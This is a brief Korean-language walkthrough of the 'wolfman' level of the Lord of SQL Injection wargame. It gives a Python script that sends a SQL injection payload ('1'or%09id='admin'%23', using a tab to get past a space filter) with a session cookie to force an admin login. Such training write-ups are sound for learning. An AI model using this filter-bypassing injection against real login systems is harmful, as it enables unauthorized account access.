5. LOS - wolfman

이번은 LOS 5번 wolfman입니다.

소스코드를 확인하면

id를 admin으로 만들어주면 풀 수 있게 됩니다.

페이로드는 다음과 같습니다.

import requests
import string
 
URL = "http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php"
payload = "?pw=1'or%09id='admin'%23" # "?pw=1'||id='admin'%23" <---도 가능합니다 :)
URL+=payload
 
cookies = dict(PHPSESSID = "dvs710ccqajrn9434hc3a00r11")
response = requests.get(URL, cookies = cookies)
print (response.text)
if response.text.find("Clear!") > 0:
    for i in range(1, 10) :
        print("WOOOOOOOOOOOOOOOOOOOOOOWsolveIT!!")